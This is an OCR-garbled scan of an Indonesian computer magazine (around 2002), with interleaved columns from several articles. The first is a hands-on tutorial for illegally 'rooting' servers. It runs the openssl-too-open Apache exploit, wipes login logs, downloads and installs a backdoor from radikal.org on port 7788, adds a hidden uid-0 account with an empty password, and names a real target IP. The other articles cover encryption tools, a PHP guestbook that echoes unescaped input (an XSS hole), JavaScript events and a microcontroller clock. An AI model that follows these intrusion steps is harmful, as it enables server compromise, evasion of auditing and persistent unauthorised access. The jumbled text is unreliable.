IRC (Internet Relay Chat). Hal tersebut tentunya menjadi OpenSSL. Kalau shell sudah ada maka kita connect ke
daya tarik pagi komunitas cyber underground di Indone- server dengan bantuan putty/secureCRT baik melalui
sia untuk sedikit lebih jauh mengikuti perkembangan dan SSH (secure shell) atau dengan telnet.
isu-isu keamanan komputer.
Tahap I:
Ada banyak memang portal portal yang membahas trik Persiapan target dan menentukan jenis apache
trik hacking, namun sepengetahuan kami jarang orang
yang serius membaca artikel yang tersedia karena berba-
hasa Inggris dan hal ini yang membuat komunitas TI di
Indonesia malas mempelajarinya. Pada kesempatan ini
kami mencoba menjelaskan sedikit pengalaman kami da-
lam mendapatkan Box Online secara ilegal atau rooting,
istilah yang biasa digunakan oleh kelompok hacking.
Untuk kali ini kita akan mencoba melakukan proses root-
ing dengan menggunakan exploit Apache-OpenSSL yang
akhir-akhir ini banyak digunakan kelompok cyber under-
ground untuk mendapatkan account box online secara ile-
gal. Dan cara ini pula yang banyak digunakan kelompok
tertentu untuk melakukan aktivitas defacing (mengubah
tampilan index.html atau menyisipkan pesan-pesan • Pemula, dapat memanfaatkan http://www.netcraft.com/ untuk
khusus pada situs Web yang mereka hack). mencari tahu jenis server dan jenis apache. Masukkan IP/hostname
Yang perlu dipersiapkan dalam proses rooting dengan yang sudah ditentukan didalam kotak testing dan tekan enter.
exploit OpenSSL ini adalah exploit Apache-OpenSSL dan
tools untuk menghilangkan log-log ketika kita berhasil
masuk ke sebuah server. Ada banyak situs di Internet
yang menyediakan tools tersebut (rootkit) yang selalu
dirilis dengan hal-hal yang baru. Sebagai contoh di sini
adalah :
• www.hack.co.za
• www.packetstormsecurity.com
• www.securiteam.com
• www.xunt.org
• www.team-teso.net • Gambar di atas hasil search melalui netcraft. Sebenarnya penulis
memakai scanner yang khusus untuk jenis target apache, namun
• www.w00w00.org mohon maaf karena kode etik penulis tidak bisa share tool tersebut
• www.l0pht.org disini. Testing IP 80.16.228.73 resolve to www.gedil96.it (IP tersebut
Dan masih banyak situs lain di cybermedia yang menye- berdasarkan hasil scanner yang penulis test jadi pembaca bisa
mencari IP atau host yang masih vulnerable, penulis biasa menda-
diakan tools untuk rootkit tersebut. Namun dalam kesem- patkan range IP 202.*.*.*, 203.*.*.*, 80.*.*.*, 40.*.*.* namun pembaca
patan ini penulis akan menyertakan source code tools ter- diharapkan muncul kreatifitas untuk mencarinya). Nah jenis host
sebut pada Web folder yang penulis miliki. tersebut memakai jenis apache 1.3.23 dan OS Linux distro Mandrake.
• www.radikal.org/openssl
• www.radikal.org/remove.c Catatan: hanya pada distro Mandrake saja kita bisa menda-
• www.radikal.org/backdoor.tar.gz patkan akses root melalui Apache, sedangkan terhadap
• www.radikal.org/local.tar.gz distro RedHat 7.0-7.1 harus menggunakan exploit send-
mail.tar.gz untuk mendapatkan local rootnya, tetapi itu
Pembaca dapat men-download source code tersebut lang- pun tidak menjamin bahwa server itu vulnerable.
sung di sana. Okey, kita sekarang mulai mencoba menye-
Tahap II :
Persiapan rooting
Download openssl-too-open.tar.gz di server anda, dengan
mengetikkan: wget url. Contoh:
wget packetstorm.security.nl/0209_exploits/openssl-too-open.tar.gz
Setelah download selesai, ekstrak file tersebut dengan
mengetikkan:
tar -zxvf openssl-too-open.tar.gz
Setelah itu, anda masuk ke direktori OpenSSL atau ketik-
kan: cd openssl-too-open
Ketik: make
Selanjutnya adalah mengetik command chmod +x openssl
untuk menginstal exploit tersebut. Setelah itu, kita tes
apakah tools kita berjalan dengan baik atau tidak. Mulai
beraksi untuk melakukan exploitasi.
Ketikkan ./openssl-too-open untuk mengetahui penggunaan
command dalam melakukan rooting terhadap Apache.
Tahap IV:
Pembersihan log dan pemasangan backdoor
Nah setelah kita adduser scut (sebagai user biasa) dan ju-
ga michael (sebagai user setarap root) maka kita sekarang
login terlebih dahulu ke server yang berhasil kita tembus
tadi dengan menggunakan putty/secureCRT
Proses compile sudah selesai. Sekarang kita mulai hapus tool backdoor kita dan menginstalnya dengan cara:
log user scut dan michael dengan cara [root@www tmp]# wget www.radikal.org/backdoor.tar.gz
[root@www tmp]# ./remove scut [root@www tmp]# tar xzf backdoor.tar.gz
[root@www tmp]# cd shv4
REMOVE by Simple Nomad
Nomad Mobile Research Centre (c) 1997 Sampai saat ini kita mulai memasuki tahap penginstalan.
Found 1 record(s) for user scut Perlu diketahui tools backdoor ini bersifat open port. Mak-
Will attempt a lastlog cleanup by default. sudnya, kita login ke ssh melalui port yang kita tentukan
# - remove last # records from utmp/wtmp saat kita mulai menginstal backdoor. Misal kita ingin menen-
a - remove (a)ll records from utmp/wtmp tukan port 7788 dan password backdoor kita adalah t3st1ng.
q - (q)uit program Maka yang kita lakukan adalah mengetik command:
Enter selection -> a
REMOVE cleaned up 1 record(s) from /var/log/wtmp [root@www tmp]# ./setup t3st1ng 7788
REMOVE cleaned up 1 record(s) from /var/run/utmp Sekarang kita sudah selesai melakukan proses rooting
REMOVE cleaned up /var/log/lastlog sampai pemasangan backdoor. Yang perlu kita perhatikan di
[root@www tmp]# sini adalah menghapus user scut dan michael dengan cara:
[root@www tmp]# /usr/sbin/userdel -r scut
[root@www tmp]# /usr/sbin/userdel -r michael
Jangan lupa menghapus semua tools kita yang tertinggal
di direktori /var/tmp/" " dan direktori rahasia kita " ".
Sekarang kita tes dengan login ke shell dengan port 7788
dan password t3st1ng.
Bila ada yang kurang jelas atau ada keluhan terhadap artikel
ini atau tentang tools yang kami bahas, silakan kontak kami
(Scut) via email ke buglifeo@yahoo.com atau
neokecoak@yahoo.com atau silakan singgah di komunitas
kecoak elektronik via IRC Dalnet channel #k-elektronik. Salam
Begitu juga log user michael dengan cara yang sama juga hangat dari kami dari Jogja.
dihapus. Setelah proses pembersihan log selesai kita akan Artikel ini disunting dan diberi ilustrasi (screen shot) oleh MA
melangkah ke proses backdooring dengan men-download Rody Candera (odyxb@melva.org).
ROOTING
ernah mendengar istilah
P ngeroot? Istilah ini digunakan
para hacker di beberapa tempat
di Indonesia. Sebenarnya yang
MENAMBAHKAN USER
7 Tambahkan user dan password pa-
da target dengan mengetikkan:
/usr/sbin/useradd odyxbs -u 0 -o -g
root -s /bin/bash -d /dev/.odyxbs
passwd -d odyxbs
Keterangan:
• /usr/sbin/useradd odyxbs
(menambah user dengan login odyxbs)
CEK AKSES DENGAN PUTTY GANTI PASSWORD
• root
(akses setingkat root) 8 Coba cek apakah berhasil. Aktifkan
putty dan masukkan IP target,
9 Jika berhasil, lihat gambar di atas.
Anda akan masuk di
• /bin/bash -d /dev/.odyxbs root@backup.login.
(membuat directory odyxbs) gunakan port 22 (SSH), klik open.
Setelah terkoneksi, masukkan login Untuk mengganti password, ketik:
• passwd -d odyxbs
(password user odyxbs) dan password. passwd. Anda diminta mengisi-
Catatan: kan password baru dan mengkon-
Login, directory, dan password harus sama.
firmasikannya.
EKSPLORASI SERVER
10 Sampai di sini, anda melihat-
lihat isi server. Sebaiknya tidak
dirusak. Untuk lebih berhati-hati,
perlu dicari siapa saja yang MEMASTIKAN MASIH TERKONEKSI
sedang aktif di server tersebut.
Ketikkan: who.
11 Untuk memastikan apakah anda masih terkoneksi pada server terget, ketikkan: id.
Jantung teknologi enkripsi terletak pada keamanan dan kekuatan algoritma matematis
yang sebenarnya melakukan pekerjaan enkripsi itu. Matematika yang digunakan amat
rumit. Dahulu teknologi perangkat lunak yang rumit ini hanya digunakan oleh kalangan
militer, tetapi berkat putar otak para pencipta program enkripsi, maka kini yang tadinya
demikian rahasia dapat digunakan oleh para pengguna komputer dengan relatif mudah
untuk keperluannya sendiri. Di bawah ini adalah daftar situs Web yang dapat digunakan
sebagai sumber informasi mengenai kriptografi dan algoritma yang digunakan.
Cryptography.com www.cryptograhy.com
International Association for Cryptologic Research www.iacr.org
• Jika sudah terbiasa menggunakan WinZip maka RSA Laboratories www.rsasecurity.com/rsalabs/
anda tidak akan asing lagi dengan antar muka SSH Communications Security www.ssh.com/tech/crypto
Mooseoft Encryptor. The National Institute of Standards and Technology http://csrc.nist.gov/ encryption/aes
rangkat enkripsi yang dibahas di sini, lah diinstal, anda dapat mengenkripsi
PowerCrypt menggunakan algoritma file dan folder hanya dengan memi-
enkripsi yang relatif tidak dikenal lihnya dan menggeretnya ke ikon
dari GNU license library yang ber- Kryptel di Desktop anda. Anda akan
nama Zlib. Antar mukanya pun tidak diminta memasukkan key pass
terlalu mudah digunakan dan juga phrase (ingat, makin panjang frasa-
tidak dapat diatur ukurannya. nya makin baik), lalu Kryptel akan
Enkripsi adalah ilmu yang relatif be- mulai melakukan enkripsi.
lum banyak diketahui para pengguna File-file yang dienkripsi ditempatkan
komputer padahal banyak pembuat pada file enkripsi Kryptel yang dapat
perangkat enkripsi terlalu sering anda klik ganda atau buka lewat
• Encrytpor juga dilengkapi dengan pembuat kata mengasumsikan bahwa pengguna browser Kryptel. Ketika membuka
sandi yang dapat membantu anda membuat kata perangkat lunak mereka mengetahui file yang dienkripsi, anda akan di-
sandi yang sulit ditebak.
ilmu ini. File Hel yang baik sebenar- minta memasukkan pass phrase yang
Untuk membantu anda menemukan nya akan banyak membantu peng- anda gunakan ketika mengenkripsi
kata sandi yang baik, Encryptor mem- guna dalam menggunakan program file itu. Kryptel kemudian akan
punyai pembuat kata sandi yang da- semacam ini, tetapi hal ini tidak dapat memperlihatkan file yang ada di
pat membuatkan kata sandi secara dijumpai pada PowerCrypt 2000. dalamnya mirip seperti pada Windows
acak untuk anda. Explorer, lengkap dengan struktur
Kryptel foldernya. Anda kemudian dapat
PowerCrypt 2000 Jika anda biasa bekerja dengan cara menambahkan file-file lain ke dalam
Yang selanjutnya adalah PowerCrypt drag and drop maka Kryptel barang- file enkripsi itu, di samping meng-
2000. Tidak seperti kebanyakan pe- kali sesuai dengan selera anda. Sete- ubah nama, menghapus, mendekripsi
dan lain-lain.
• PowerCrypt 2000 tidak mendukung algoritma yang populer. Yang digunakannya adalah Kryptel adalah perangkat yang elegan
algoritma lisensi GNU. dan mudah digunakan sehingga ideal
untuk mereka yang ingin menggu-
nakan perangkat enkripsi yang
sederhana dan tidak membuat
pusing.
PLIKASI YANG SATU INI TENTU SUDAH tidak asing lagi kita simpan dalam satu folder khusus yaitu folder dengan
A bagi anda. Aplikasi buku tamu biasanya dipajang di
situs-situs personal. Mungkin anda adalah salah
nama db.
Secara umum kita akan membagi file basisdata yang:
seorang pengguna aplikasi ini karena banyak sekali layan-
an gratisan di Internet yang menyediakan fasilitas buku a. Menyimpan jumlah pengunjung yang mengisi buku
tamu gratis, baik itu yang telah terintegrasi dengan free tamu. File teks ini nantinya dinamakan jml.db.php.
hosting yang anda gunakan atau pun yang disediakan oleh Format file ini pun sangat sederhana yaitu hanya me-
pihak ketiga. muat angka yang merupakan jumlah pengunjung yang
pernah mengisi buku tamu. Jadi misalkan ada 2
Namun pada tulisan kali ini yang merupakan kelanjutan pengunjung yang telah mengisi buku tamu maka file
dari tulisan PHP Praktis sebelumnya kita akan mencoba jml.db.php ini akan berisi angka 2. Fungsi file ini
membuat aplikasi buku tamu sederhana dengan menggu- sebenarnya adalah sebagai pengindeks untuk menamai
nakan PHP. file basisdata berikutnya.
Siapkan Dahulu Template-nya b. Menyimpan data-data dari form yang diisi oleh pengun-
Yang pertama anda siapkan adalah template buku tamu ini. jung. Setiap masukan dari pengunjung akan disimpan
Anda dapat membuatnya seindah mungkin dengan meng- dalam satu file tersendiri dan file teksnya dinamai sesuai
gunakan MS FrontPage atau Macromedia Dreamweaver. dengan indeksnya sesuai file jml.db.php yang telah kita
Adapun template yang harus anda siapkan adalah: sebut di atas. Jadi untuk pengunjung pertama yang
mengisi, maka isian dari form akan disimpan pada file
a. Halaman formulir buku tamu ( sebagai misal 1.db.php, untuk pengunjung kedua pada file 2.db.php,
dinamakan isi.htm ), yaitu suatu halaman yang berisi untuk pengunjung kesepuluh pada file 10.db.php demi-
form yang akan diisi oleh pengunjung yang hendak kian seterusnya.
mengisi buku tamu. Yang harus ada pada form isian ini
adalah Nama pengunjung, Email, Homepage(opsional) Ada pun yang akan kita simpan dalam file-file ini adalah
dan Komentar. data yang dimasukkan melalui form, ditambah dengan
tanggal yang di-generate oleh server. Sehingga format
b. Halaman list dari komentar-komentar yang telah ada filenya sebagai berikut:
dan masuk ke dalam database ( sebagai misal dinamakan
list.htm ). Yang ditampilkan pun tidak jauh berbeda Nama_Pengunjung#Email_Pengunjung#Homepage_Pengunjung#K
dengan apa yang telah dimasukkan pengunjung melalui omentar_Pengujung#Tanggal_Pengisian
form pada halaman formulir, hanya ada satu tabahn
yaitu waktu pengisian buku tamu yang akan secara
otomatis dilakukan oleh server nantinya. Seperti biasa setiap data kita pisahkan dengan tanda pagar,
agar nanti dapat dipecah-pecah sesuai kebutuhan dengan
Basisdata yang Digunakan mudah.
Seperti aplikasi-aplikasi kita sebelumnya, kali ini pun kita Nah itulah file-file yang akan kita gunakan sebagai basis-
belum menggunakan DBMS untuk manajemen data yang data untuk aplikasi kita kali ini. Perlu diketahui semua file
ada, kita akan menggunakan file-file teks biasa yang akan tersebut tersimpan dalam satu folder yang kita namai db.
Jadi jangan lupa membuat sebuah folder kosong dengan Selanjutnya kita gabungkan variabel-variabel dari formulir
nama db sebelumnya, agar semuanya berjalan dengan menjadi satu kesatuan string dalam variable x sebelum di-
lancar. Sedangkan file-filenya nanti akan terbentuk dengan tuliskan ke dalam file basisdata. Salah satu variabel yaitu
sendirinya. Jadi tidak perlu anda buat sebelumnya. variabel pesan kita masukkan terlebih dahulu ke dalam
fungsi konversi nl2br(), yaitu fungsi yang akan mengubah
Membuat File-File PHP garis baru ke tag <br>.
File-file PHP ini merupakan file-file template sebelumnya
yang telah kita sisipi dengan script PHP. Secara umum kita $x="$nama#$email#$homepage#".nl2br($pesan)."#$tgl";
akan membuat tiga file PHP yaitu :
a. File index.php Lalu proses penentuan nama file database yang akan dibuat
b. File list.php sesuai dengan indeks yang didapat dari file jml.db.php
c. File isi.php yang telah tersimpan dalam variable s. Nama file kita
simpan dalam variable y.
File index.php
File ini murni skrip PHP yaitu file yang akan mengatur $y="db/$s.db.php";
apa yang akan ditampilkan, apakah halaman list dari
komentar-komentar pengunjung ataukah formulir isian. Kemudian proses penulisan file database itu sendiri yaitu
Juga memproses penulisan file-file basisdata. dengan menggunakan fungsi fwrite(), setelah koneksi ke
Berikut penjelasan source code halaman index.php: file dengan fungsi fopen() sebelumnya.
Pertama kita cek dulu apakah nilai dari variable op adalah
$b=fopen($y,"w");
isi. Jika nilai dari variable op adalah isi maka berarti akan $t=fwrite($b,$x,strlen($x));
ditampilkan halaman formulir. fclose($b);
if ($op=="isi"){
Variabel k selanjutnya kita isi dengan suatu komentar un-
Selanjutnya kita cek apakah nilai dari variabel ak adalah isi. tuk pengunjung yang telah mengisi buku tamu.
Jika nilai variabel ak adalah isi maka berarti akan dilakukan $k="Terimakasih Anda telah mengisi buku tamu! Anda adalah
proses penulisan file basisdata. pengisi ke-$s";
if ($ak=="isi"){
Dan kemudian akan diteruskan ke halaman formulir
Proses penulisan didahului dengan pengecekan apakah file kembali dengan menggunakan fungsi include().
jml.db.php sudah ada atau belum. Fungsi dari pengecekan
include "isi.php";
ini adalah untuk mengindeks file basisdata ke berapa yang
akan dibuat. Namun jika file ini tidak ada maka diasumsi-
kan belum ada yang mengisi buku tamu sama sekali. Maka Selesai untuk proses jika variabel ak berisi nilai isi. Dan
kita akan membuat sebuah file teks baru yang selanjutnya jika ternyata variabel ak tidak bernilai isi maka akan
kita namai jml.db.php. Dan langsung diisi nilainya dengan langsung diteruskan ke halaman formulir tanpa proses
angka 1. seperti sebelumnya. Variabel k berisi komentar pun
dikosongkan.
$f="db/jml.db.php";
if (!file_exists($f)){ } else {
$s=1; $k="";
$b=fopen($f,"w"); include "isi.php";
$t=fwrite($b,$s,strlen($s)); }
fclose($b);
Sampai di sini selesai sudah untuk variable op yang ber-
Selanjutnya adalah jika ternyata file jml.db.php sudah ada. nilai isi. Selanjutnya tinggal proses untuk nilai op selain
Maka langsung kita baca angka yang terdapat dalam file, isi. Maka yang akan ditampilkan adalah halaman list ko-
lalu kita naikkan satu angka. Setelah itu file kita update mentar-komentar pengunjung.
dengan angka yang baru. Pertama tentukan dahulu berapa jumlah komentar yang
} else { akan ditampilkan per halaman. Nilai ini kita simpan dalam
$b=fopen($f,"r"); variable r. Di sini misalnya saja kita tentukan 5 komentar
$s=fread($b,filesize($f)); per halaman maka variable r kita beri nilai dengan 5. Jika
$s=$s+1; Anda menginginkan 10 komentar per halaman Anda
fclose($b); tinggal mengganti saja nilai variable r ini dengan angka 10.
$b=fopen($f,"w"); Demikian seterusnya.
$t=fwrite($b,$s,strlen($s));
fclose($b);
} } else {
$r=2;
Suatu variabel yang kita namai tgl akan kita set dengan
nilai dari fungsi date(). Format tanggal yang kita gunakan Setelah ditentukan banyaknya komentar per halaman
di sini adalah dd/mm/yy hh:mm AM/PM. maka diteruskan ke halaman list.php yang akan
memproses tampilan list.
$tgl=date("d/m/y h:i A");
include "list.php"; pengunjung yang mengisi buku tamu. Sedangkan jika ter-
} nyata file jml.db.php ini ada maka proses untuk menam-
pilkan komentar-komentar akan dilakukan.
Nah, selesai sudah file index.php sampai di sini. Secara
lengkap berikut adalah source kode index.php <?
} else {
<? ?>
//file index.php
Selesai untuk kemungkinan jika nilai h ada. Lalu bagaima- tama yang harus dicari adalah banyaknya halaman dengan
na jika nilai dari variabel h ternyata kosong? Maka di- menggunakan rumus seperti pada boks di kolom kiri
asumsikan saja bahwa halaman yang diminta adalah bawah.
halaman pertama. Sehingga nilai h kita set ke nilai satu. Variabel bhal menyimpan banyaknya halaman yang
dihasilkan. Setelah tahu banyaknya halaman yang bakal
} else {
$h=1;
ditampilkan, kemudian dengan menggunakan statement
$awal=$c; for, lakukan perulangan untuk menampilkannya.
$akhir=$c-$r;
if($akhir<0){ for($i=1;$i<$bhal;$i++){
$akhir=0;
}
} Ada satu lagi aturan yang kita gunakan di sini, yaitu jika
ternyata halaman tersebut sedang ditampilkan maka tidak
diberi link, tetapi jika tidak sedang ditampilkan maka diberi
Selanjutnya nilai awal dan nilai akhir yang telah kita dapat- link. Sehingga dengan menggunakan statement if…else
kan di atas posisinya akan kita balik secara relatif terhadap skripnya menjadi sebagai berikut:
banyaknya komentar. Fungsinya karena kita akan menggu-
nakan perulangan for maka akan lebih mudah jika dilaku- if ($i==$h){
kan pembalikan ini. ?>
<? echo $i ?>
$akhir=($c-($akhir))+1; <?
$awal=($c-$awal)+1; } else {
?>
<a title="halaman ke-<? echo $i ?>"
Parameter-parameter awal maupun akhir sudah siap. Maka href="index.php?op=lihat&h=<? echo $i ?>"><? echo $i
perulangan for siap dilakukan. ?></a>
<?
}
for($i=$awal;$i<$akhir;$i++){
Perulangan ditutup dengan tanda kurung kurawal.
Tentukan nama dari file yang akan dibuka. Ingat karena Selesai sudah untuk kemungkinan jika file jml.db.php telah
sebelumnya kita telah membalik parameter, maka di sini ada. Jangan lupa kurung kurawal penutupnya.
harus dikembalikan lagi.
Secara lengkap berikut adalah skrip dari list.php, dengan
$fi=($c-($i-1)); template versi NeoTek :
$f="db/$fi.db.php";
<? //file list.php ?>
<html>
Kemudian proses pembacaan terhadap file dengan menggu- <head>
nakan fungsi fread(). <meta http-equiv="Content-Language" content="en-us">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
$b=fopen($f,"r"); <meta name="ProgId" content="FrontPage.Editor.Document">
$hb=fread($b,filesize($f)); <meta http-equiv="Content-Type" content="text/html;
fclose($b); charset=windows-1252">
<title>my neoguestbook</title>
</head>
<body>
Hasil bacaan yang tersimpan dalam variabel hb, harus <p align="center"><b><font face="Arial Narrow"
dipecah-pecah untuk mendapatkan informasi yang kita color="#0000FF">welcome to my
inginkan. Pemecahan yaitu dengan menggunakan fungsi neoguestbook</font></b></p>
explode. Ingat sebagai pemisah adalah tanda pagar(#). <p align="right"><b><font face="Arial Narrow" color="#0000FF"
size="1">
$p=explode("#",$hb); <a title="isi dunk" href="index.php?op=isi">isi buku
tamu</a></font></b>
<?
Nah, setelah itu bagian yang akan diulang-ulang tinggal $f="db/jml.db.php";
dituliskan. Selanjutnya perulangan kembali ditutup dengan if (!file_exists($f)){
tanda kurung kurawal. ?>
<table border="0" cellpadding="0" cellspacing="0"
style="border:1px solid #CCCCFF; border-collapse: collapse"
// tag html yang di ulang bordercolor="#111111" width="100%" id="AutoNumber1">
// tag html yang di ulang <tr>
// tag html yang di ulang <td width="100%">
} <table border="0" cellpadding="0" cellspacing="3"
style="border-collapse: collapse" bordercolor="#111111"
Sampai di sini selesai sudah proses menampilkan semua width="100%" id="AutoNumber2">
komentar. Selanjutnya, menampilkan indeks halaman. Per- <tr>
<td width="100%" style="border: 1px solid #FFCCFF;
padding: 0" bgcolor="#E2D6E2">
if (($c % $r)==0) { <p align="center"><font face="Arial" size="2">Belum ada
$bhal=(($c-($c%$r))/$r)+1; yang mengisi
}
else { buku tamu!</font></td>
$bhal=(($c-($c%$r))/$r)+2; </tr>
} </table>
</td> </tr>
</tr> <tr>
</table> <td width="100%" colspan="2">
<? <table border="0" cellpadding="0" cellspacing="3"
} else { style="border-collapse: collapse" bordercolor="#111111"
?> width="100%" id="AutoNumber2">
<table border="0" cellpadding="2" cellspacing="5" style="border- <tr>
collapse: collapse" bordercolor="#111111" width="100%" <td width="100%" style="border: 1px solid #FFCCFF;
id="AutoNumber1"> padding: 0" bgcolor="#E2D6E2">
<? <font size="2" face="Arial"><? echo "$p[3]" ?></font></td>
$b=fopen($f,"r"); </tr>
$c=fread($b,filesize($f)); </table>
fclose($b); </td>
if($h!=""){ </tr>
$d=($h-1)*$r; </table>
if ($d>$c){ </td>
$h=1; </tr>
$awal=$c; <?
$akhir=$c-$r; }
if($akhir<0){ ?>
$akhir=0;
} <tr>
} else { <td width="100%">
$awal=$c-(($h-1)*$r); <b><font face="Arial Narrow" size="1" color="#0000FF">
$akhir=$c-($h*$r); <?
if($akhir<0){ if (($c % $r)==0) {
$akhir=0; $bhal=(($c-($c%$r))/$r)+1;
} }
} else {
} else { $bhal=(($c-($c%$r))/$r)+2;
$h=1; }
$awal=$c; for($i=1;$i<$bhal;$i++){
$akhir=$c-$r; if ($i==$h){
if($akhir<0){ ?>
$akhir=0; <? echo $i ?>
} <?
} } else {
$akhir=($c-($akhir))+1; ?>
$awal=($c-$awal)+1; <a title="halaman ke-<? echo $i ?>"
for($i=$awal;$i<$akhir;$i++){ href="index.php?op=lihat&h=<? echo $i ?>"><? echo $i
$fi=($c-($i-1)); ?></a>
$f="db/$fi.db.php"; <?
$b=fopen($f,"r"); }
$hb=fread($b,filesize($f)); }
fclose($b); ?>
$p=explode("#",$hb); </font></b>
?> </td>
<tr> </tr>
<td width="100%"> </table>
<table border="0" cellpadding="0" cellspacing="0" <?
style="border:1px solid #CCCCFF; border-collapse: collapse" }
bordercolor="#111111" width="100%" id="AutoNumber1"> ?>
<tr> </body>
<td width="26%"><font face="Verdana" size="1">Nama </html>
:</font></td>
<td width="74%"><font face="Arial" size="2"><? echo $p[0]
?></font></td> File isi.php
</tr> Yang terakhir kali kita bahas adalah file isi.php. File ini sa-
<tr>
<td width="26%"><font face="Verdana" size="1">Email
ngat sederhana yaitu hanya merupakan file isi.htm yang
:</font></td> disisipi sebuah komentar. Komentar ini akan tersimpan
<td width="74%"><font face="Arial" size="2"> dalam variabel k. Variabel ada atau tidak isinya bergantung
<a href="mailto:<? echo $p[1] ?>" title="kirim email ke <? echo pada file index.php. Jika anda kembali melihat penjelasan
$p[1] ?>"><? echo $p[1] ?></a></font></td> file index.php di atas maka anda akan mengerti bahwa
</tr> komentar hanya akan ada setelah pengisi mengisi buku
<tr>
<td width="26%"><font face="Verdana" size="1">Homepage
tamunya. Langsung saja berikut adalah source code file
:</font></td> isi.php dengan template versi NeoTek.
<td width="74%"><font face="Arial" size="2">
<a title="shortcut ke <? echo $p[2] ?>" href="<? echo $p[2] <? File isi php ?>
?>"><? echo $p[2] ?></a></font></td> <html>
</tr>
<tr> <head>
<td width="26%"><font face="Verdana" size="1">Pesan dan <meta http-equiv="Content-Language" content="en-us">
Kesan :</font></td> <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<td width="74%" align="right"><font face="Verdana" size="1" <meta name="ProgId" content="FrontPage.Editor.Document">
COLOR=#0000FF><b><? echo $p[4]?></b></font></td> <meta http-equiv="Content-Type" content="text/html;
VENT DAPAT DIDEFINISIKAN SEBAGAI KEJADIAN yang Agar pemahaman kita lebih mendalam mari kita lihat
E terjadi pada dokumen, yang kemudian dapat di-
respon atau ditangani. Biasanya event ditangani
terlebih dahulu suatu contoh penanganan event secara
langsung tanpa menggunakan fungsi. Misalnya kita mem-
dengan menggunakan fungsi yang telah dideklarasikan punyai suatu link pada dokumen yang jika link tersebut
sebelumnya, namun pada beberapa kasus dapat ditangani kita klik maka secara otomatis akan ditampilkan alert box.
langsung dengan menuliskan statement perintah tanpa Perhatikan skrip berikut ini:
harus menggunakan fungsi.
<html><head>
Macam-macam Event <title>penanganan event tanpa deklarasi fungsi</title>
Nama dari suatu event biasanya dikaitkan dengan penye- </head>
<body>
bab yang membangkitkan event tersebut. Tabel di bawah <a href="#" onClick="alert('Hi! Ini event Click')">Klik di sini</a>
ini memuat daftar event yang paling sering digunakan. </body></html>
Penanganan Event
Tambahkan on pada nama event, lalu jadikan atribut pada Lihat bahwa setelah atribut onClick, penanganan tehadap
tag HTML bersangkutan. Nilai atribut ini bisa berupa event langsung dengan menuliskan statement JavaScript
nama suatu fungsi yang telah didefinisikan. yang akan menampilkan alert box. Sekarang mari kita
Perhatikan sintaks berikut: buat contoh di atas menjadi menggunakan fungsi. Cara-
onNamaEvent=" statement-statement javascript"
nya yaitu dengan memasukkan statement JavaScript yang
digunakan untuk menampilkan alert box ke dalam suatu
Catatan: fungsi yang dideklarasikan di bagian awal dokumen.
• Nama event bersifat case-insensitive Perhatikan skrip selanjutnya di halaman berikut.
• Jika statement-statement yang menjadi niali dari
atribut onNama.Event lebih dari satu statement, akan Pada skrip itu terlihat bahwa setelah atribut onClick
lebih baik jika dibundel dalam suatu fungsi. penanganan tehadap event kali ini dengan menyebutkan
nama fungsi yang dideklarasikan sebelumnya yaitu
Tukar Otak
Proyek Digital Clock (4)
Dengan menggunakan hardware yang telah dirakit sebelumnya, anda dapat mengubah
implementasi software-nya. Kali ini Hardy (hardythe@cbn.net.id) membuatnya menjadi jam
dengan dua buah timer dan output berupa relay yang mempunyai banyak fungsi dan bunyi beep.
ADAN LAMA OTAK BARU. ITULAH MAKSUD frasa “Tukar 5. DisplayJob: Menampilkan nilai Jam-Menit atau Menit-
B OTAK" di atas. Dengan hardware lama (NeoTek
Vol 3, No 2, November 2002) yang sudah dirakit
Detik dari SecondJob.
6. Terakhir adalah Vector. Ini menginformasikan kemana
dan diberi sofware sangat sederhana sekarang diubah men- MCU harus pergi jika terjadi interrupt tertentu. Ada
jadi jam dengan dua buah timer dengan output berupa beberapa macam interrupt. Isi interrupt salah satunya
kontak relay (TIMER 1) yang bisa dimanfaatkan untuk Timer OverFlow di atas.
berbagai fungsi dan berupa bunyi beep (TIMER 2) sebagai Artikel kali ini memanfaatkan semua fungsi yang ada di
alarm bangun pagi. Dengan artikel ini anda diajak untuk hardware Digital Clock yaitu: Beeper dan Relay. Sebenar-
berpikir sebagai perancang agar mudah memahami user nya software ini akan terasa terlalu advance bagi pemula.
interface-nya. Tapi justru ini yang disenangi pemula untuk dipelajari
Seperti pernah disebut di artikel sebelumnya bahwa salah berlama-lama. Dapat banyak trik programming dan tidak
satu keunggulan pembuatan proyek dengan microcontroller perlu keluar biaya untuk hardware lagi. Setelah mengerti
adalah kemungkinan meningkatkan kemampuan proyek cara kerja software ini, diharapkan pembaca dapat memodi-
hanya dengan mengubah software (lebih cocok disebut fikasi sendiri bila ada perbedaan dengan kebutuhan pribadi.
firmware karena software tersebut menjadi hardware - isi Hal yang perlu diperhatikan adalah User Interface. Selan-
FLASH ROM). jutnya diusahakan agar suatu desain bisa dioperasikan tanpa
Advanced Digital Clock user manual (buku petunjuk pemakaian) sama sekali.
Apabila ada LCD dalam proyek tersebut, usahakan untuk
Software pertama (NeoClock1.asm) diberikan untuk penge- secara otomatis menampilkan manual singkat yang
nalan bahasa assembly microcontroller. Dalam hal ini ada- informatif pada awal pengoperasian.
lah Motorola HC08. Setiap keluarga MCU mempunyai
hardware berbeda walaupun sebagian konsepnya sama. Dalam pengoperasiannya, Digital clock ini memiliki 2 loop
Untuk itu, diperlukan contoh sederhana untuk memulai Mode:
pemakaian MCU yang baru dikenal. Bahkan hal ini berlaku 1. Mode yang terdiri dari Mode0 (RUN), Mode1 (INC Jam
untuk yang sudah berpengalaman dengan keluarga MCU lain. Clock), Mode2 (INC Menit Clock), Mode3 (Timer1 On-
Software NeoClock1.asm hanya memiliki bagian vital dari Off), Mode4 (INC Jam Timer 1), Mode5 (INC Menit
jam digital: Timer 1), Mode6 (Timer2 On-Off), Mode7 (INC Jam
Timer 2), Mode8 (INC Menit Timer 2).
1. Inisialisasi: Menentukan input/output dan nilai awal
register tertentu. 2. Sedangkan di dalam Mode0 (RUN) dibuat SUB mode
2. Main Loop: Sebagai manager untuk routine lainnya yang diberi nama: RUNdisplayMode yang terdiri dari:
yang akan terus berulang. Mode0 (Jam-Menit), Mode1 (Menit-Detik), Mode2
3. Interrupt: Timer OverFlow Interrupt. Pembangkit satuan (Timer 1 setting bila Timer 1 ON atau tulisan T1 Of
waktu 1 detik. yang maksudnya off), Mode3 (Timer 2 setting bila Timer
4. SecondJob: Penghitung waktu (detik, menit, jam) 2 ON atau tulisan T2 Of yang maksudnya off).
